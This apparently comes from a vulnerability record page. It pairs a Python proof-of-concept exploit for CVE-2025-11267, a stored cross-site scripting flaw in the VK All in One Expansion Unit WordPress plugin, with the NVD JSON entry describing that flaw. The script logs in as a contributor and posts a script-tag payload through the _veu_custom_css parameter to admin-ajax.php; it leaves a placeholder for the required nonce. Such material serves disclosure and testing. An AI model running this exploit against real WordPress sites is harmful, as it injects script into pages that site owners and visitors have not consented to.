CVE-2025-11267

import requests import sys # CVE-2025-11267 PoC - Stored XSS in VK All in One Expansion Unit # Target: WordPress site with VK All in One Expansion Unit plugin <= 9.112.1 # Authentication: Requires Contributor-level account TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" def login_wp(): """Login to WordPress and get authentication cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' in str(session.cookies): return session return None def exploit_stored_xss(session): """Inject malicious JavaScript via _veu_custom_css parameter""" # XSS payload - executes alert on page load xss_payload = '</style><script>alert(document.domain)</script><style>' # Target: Plugin's Custom CSS functionality post_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Create/update a post with malicious CSS post_data = { 'action': 'veu_custom_css_save', '_veu_custom_css': xss_payload, 'post_id': '1', 'nonce': 'your_valid_nonce_here' # Need valid nonce from page } resp = session.post(post_url, data=post_data) print(f"[*] Response: {resp.status_code}") print(f"[*] Payload injected: {xss_payload}") return True if __name__ == "__main__": print("[*] CVE-2025-11267 PoC - VK All in One Expansion Unit Stored XSS") session = login_wp() if session: print("[+] Login successful") exploit_stored_xss(session) print("[+] XSS payload injected. Visit any page to trigger.") else: print("[-] Login failed")

{"cve": {"id": "CVE-2025-11267", "sourceIdentifier": "[email protected]", "published": "2025-11-18T08:15:50.937", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The VK All in One Expansion Unit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_veu_custom_css' parameter in all versions up to, and including, 9.112.1. This is due to insufficient input sanitization and output escaping on the user-supplied Custom CSS value. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/vk-all-in-one-expansion-unit/tags/9.112.0.1/admin/class-veu-metabox.php#L178", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/vk-all-in-one-expansion-unit/tags/9.112.0.1/inc/css-customize/css-customize-single.php#L32", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3393317%40vk-all-in-one-expansion-unit%2Ftrunk&old=3385606%40vk-all-in-one-expansion-unit%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8996a0f0-8a49-4310-917b-62172c12afdb?source=cve", "source": "[email protected]"}]}}